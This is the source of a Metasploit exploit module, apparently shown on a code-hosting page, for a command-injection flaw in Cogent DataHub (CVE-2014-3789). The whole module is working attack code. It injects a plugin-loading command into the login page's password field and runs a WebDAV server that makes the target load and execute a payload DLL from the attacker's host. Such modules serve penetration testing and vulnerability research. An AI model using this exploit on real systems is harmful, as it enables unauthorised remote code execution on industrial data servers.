Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/cogent_datahub_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6# Exploitation is reliable, but the service hangs and needs manual restarting.7Rank = ManualRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::EXE1213def initialize14super(15'Name' => 'Cogent DataHub Command Injection',16'Description' => %q{17This module exploits an injection vulnerability in Cogent DataHub prior18to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which19makes insecure use of the datahub_command function with user controlled20data, allowing execution of arbitrary datahub commands and scripts. This21module has been tested successfully with Cogent DataHub 7.3.4 on22Windows 7 SP1. Please also note that after exploitation, the remote service23will most likely hang and restart manually.24},25'Author' => [26'John Leitch', # Vulnerability discovery27'juan vazquez' # Metasploit module28],29'Platform' => 'win',30'References' =>31[32['ZDI', '14-136'],33['CVE', '2014-3789'],34['BID', '67486']35],36'Stance' => Msf::Exploit::Stance::Aggressive,37'DefaultOptions' => {38'WfsDelay' => 30,39'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'40},41'Targets' =>42[43[ 'Cogent DataHub < 7.3.5', { } ],44],45'DefaultTarget' => 0,46'DisclosureDate' => 'Apr 29 2014'47)48register_options(49[50OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),51OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +52'(do not change)', 80 ]),53OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +54'wait for the payload request', 20]),55OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])56])57end5859def autofilter60false61end6263def on_request_uri(cli, request)64case request.method65when 'OPTIONS'66process_options(cli, request)67when 'PROPFIND'68process_propfind(cli, request)69when 'GET'70process_get(cli, request)71else72vprint_status("#{request.method} => 404 (#{request.uri})")73resp = create_response(404, "Not Found")74resp.body = ""75resp['Content-Type'] = 'text/html'76cli.send_response(resp)77end78end7980def process_get(cli, request)8182if blacklisted_path?(request.uri)83vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")84resp = create_response(404, "Not Found")85resp.body = ""86cli.send_response(resp)87return88end8990if request.uri.include?(@basename)91print_status("GET => Payload")92return if ((p = regenerate_payload(cli)) == nil)93data = generate_payload_dll({ :code => p.encoded })94send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })95return96end9798# Treat index.html specially99if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)100vprint_status("GET => REDIRECT (#{request.uri})")101resp = create_response(200, "OK")102103resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|104resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|105resp['Content-Type'] = 'text/html'106cli.send_response(resp)107return108end109110# Anything else is probably a request for a data file...111vprint_status("GET => DATA (#{request.uri})")112data = rand_text_alpha(4 + rand(4))113send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })114end115116#117# OPTIONS requests sent by the WebDav Mini-Redirector118#119def process_options(cli, request)120vprint_status("OPTIONS #{request.uri}")121headers = {122'MS-Author-Via' => 'DAV',123'DASL' => '<DAV:sql>',124'DAV' => '1, 2',125'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +126+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',127'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +128+ 'LOCK, UNLOCK',129'Cache-Control' => 'private'130}131resp = create_response(207, "Multi-Status")132headers.each_pair {|k,v| resp[k] = v }133resp.body = ""134resp['Content-Type'] = 'text/xml'135cli.send_response(resp)136end137138#139# PROPFIND requests sent by the WebDav Mini-Redirector140#141def process_propfind(cli, request)142path = request.uri143vprint_status("PROPFIND #{path}")144145if path !~ /\/$/146147if blacklisted_path?(path)148vprint_status "PROPFIND => 404 (#{path})"149resp = create_response(404, "Not Found")150resp.body = ""151cli.send_response(resp)152return153end154155if path.index(".")156vprint_status "PROPFIND => 207 File (#{path})"157body = %Q|<?xml version="1.0" encoding="utf-8"?>158<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">159<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">160<D:href>#{path}</D:href>161<D:propstat>162<D:prop>163<lp1:resourcetype/>164<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>165<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>166<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>167<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>168<lp2:executable>T</lp2:executable>169<D:supportedlock>170<D:lockentry>171<D:lockscope><D:exclusive/></D:lockscope>172<D:locktype><D:write/></D:locktype>173</D:lockentry>174<D:lockentry>175<D:lockscope><D:shared/></D:lockscope>176<D:locktype><D:write/></D:locktype>177</D:lockentry>178</D:supportedlock>179<D:lockdiscovery/>180<D:getcontenttype>application/octet-stream</D:getcontenttype>181</D:prop>182<D:status>HTTP/1.1 200 OK</D:status>183</D:propstat>184</D:response>185</D:multistatus>186|187# send the response188resp = create_response(207, "Multi-Status")189resp.body = body190resp['Content-Type'] = 'text/xml; charset="utf8"'191cli.send_response(resp)192return193else194vprint_status "PROPFIND => 301 (#{path})"195resp = create_response(301, "Moved")196resp["Location"] = path + "/"197resp['Content-Type'] = 'text/html'198cli.send_response(resp)199return200end201end202203vprint_status "PROPFIND => 207 Directory (#{path})"204body = %Q|<?xml version="1.0" encoding="utf-8"?>205<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">206<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">207<D:href>#{path}</D:href>208<D:propstat>209<D:prop>210<lp1:resourcetype><D:collection/></lp1:resourcetype>211<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>212<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>213<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>214<D:supportedlock>215<D:lockentry>216<D:lockscope><D:exclusive/></D:lockscope>217<D:locktype><D:write/></D:locktype>218</D:lockentry>219<D:lockentry>220<D:lockscope><D:shared/></D:lockscope>221<D:locktype><D:write/></D:locktype>222</D:lockentry>223</D:supportedlock>224<D:lockdiscovery/>225<D:getcontenttype>httpd/unix-directory</D:getcontenttype>226</D:prop>227<D:status>HTTP/1.1 200 OK</D:status>228</D:propstat>229</D:response>230|231232if request["Depth"].to_i > 0233trail = path.split("/")234trail.shift235case trail.length236when 0237body << generate_shares(path)238when 1239body << generate_files(path)240end241else242vprint_status "PROPFIND => 207 Top-Level Directory"243end244245body << "</D:multistatus>"246247body.gsub!(/\t/, '')248249# send the response250resp = create_response(207, "Multi-Status")251resp.body = body252resp['Content-Type'] = 'text/xml; charset="utf8"'253cli.send_response(resp)254end255256def generate_shares(path)257share_name = @share_name258%Q|259<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">260<D:href>#{path}#{share_name}/</D:href>261<D:propstat>262<D:prop>263<lp1:resourcetype><D:collection/></lp1:resourcetype>264<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>265<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>266<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>267<D:supportedlock>268<D:lockentry>269<D:lockscope><D:exclusive/></D:lockscope>270<D:locktype><D:write/></D:locktype>271</D:lockentry>272<D:lockentry>273<D:lockscope><D:shared/></D:lockscope>274<D:locktype><D:write/></D:locktype>275</D:lockentry>276</D:supportedlock>277<D:lockdiscovery/>278<D:getcontenttype>httpd/unix-directory</D:getcontenttype>279</D:prop>280<D:status>HTTP/1.1 200 OK</D:status>281</D:propstat>282</D:response>283|284end285286def generate_files(path)287trail = path.split("/")288return "" if trail.length < 2289290base = @basename291exts = @extensions.gsub(",", " ").split(/\s+/)292files = ""293exts.each do |ext|294files << %Q|295<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">296<D:href>#{path}#{base}.#{ext}</D:href>297<D:propstat>298<D:prop>299<lp1:resourcetype/>300<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>301<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>302<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>303<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>304<lp2:executable>T</lp2:executable>305<D:supportedlock>306<D:lockentry>307<D:lockscope><D:exclusive/></D:lockscope>308<D:locktype><D:write/></D:locktype>309</D:lockentry>310<D:lockentry>311<D:lockscope><D:shared/></D:lockscope>312<D:locktype><D:write/></D:locktype>313</D:lockentry>314</D:supportedlock>315<D:lockdiscovery/>316<D:getcontenttype>application/octet-stream</D:getcontenttype>317</D:prop>318<D:status>HTTP/1.1 200 OK</D:status>319<D:ishidden b:dt="boolean">1</D:ishidden>320</D:propstat>321</D:response>322|323end324325files326end327328def gen_timestamp(ttype=nil)329::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")330end331332def gen_datestamp(ttype=nil)333::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")334end335336# This method rejects requests that are known to break exploitation337def blacklisted_path?(uri)338share_path = "/#{@share_name}"339payload_path = "#{share_path}/#{@basename}.dll"340case uri341when payload_path342return false343when share_path344return false345else346return true347end348end349350def check351res = send_request_cgi({352'method' => 'POST',353'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),354'vars_post' =>355{356'username' => rand_text_alpha(4 + rand(4)),357'password' => rand_text_alpha(4 + rand(4))358}359})360361if res && res.code == 200 && res.body =~ /PermissionRecord/362return Exploit::CheckCode::Detected363end364365Exploit::CheckCode::Safe366end367368def send_injection(dll)369res = send_request_cgi({370'method' => 'POST',371'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),372'vars_post' =>373{374'username' => rand_text_alpha(3 + rand(3)),375'password' => "#{rand_text_alpha(3 + rand(3))}\")" +376"(load_plugin \"#{dll}\" 1)(\""377}378}, 1)379380res381end382383def on_new_session(session)384if service385service.stop386end387388super389end390391def primer392print_status("Sending injection...")393res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")394if res395print_error("Unexpected answer")396end397end398399def exploit400if datastore['UNCPATH'].blank?401@basename = rand_text_alpha(3)402@share_name = rand_text_alpha(3)403@extensions = "dll"404@system_commands_file = rand_text_alpha_lower(4)405406if (datastore['SRVHOST'] == '0.0.0.0')407@myhost = Rex::Socket.source_address('50.50.50.50')408else409@myhost = datastore['SRVHOST']410end411412@exploit_unc = "\\\\#{@myhost}\\"413414if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'415fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')416end417418print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +419"\\#{@basename}.dll")420421begin422# The Windows Webclient needs some time...423Timeout.timeout(datastore['WEBDAV_DELAY']) { super }424rescue ::Timeout::Error425service.stop if service426end427else428# Using external SMB Server429if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/430host = $1431share_name = $2432dll_name = $3433print_status("Sending injection...")434res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")435if res436print_error("Unexpected answer")437end438else439fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.dll')440end441end442end443end444445446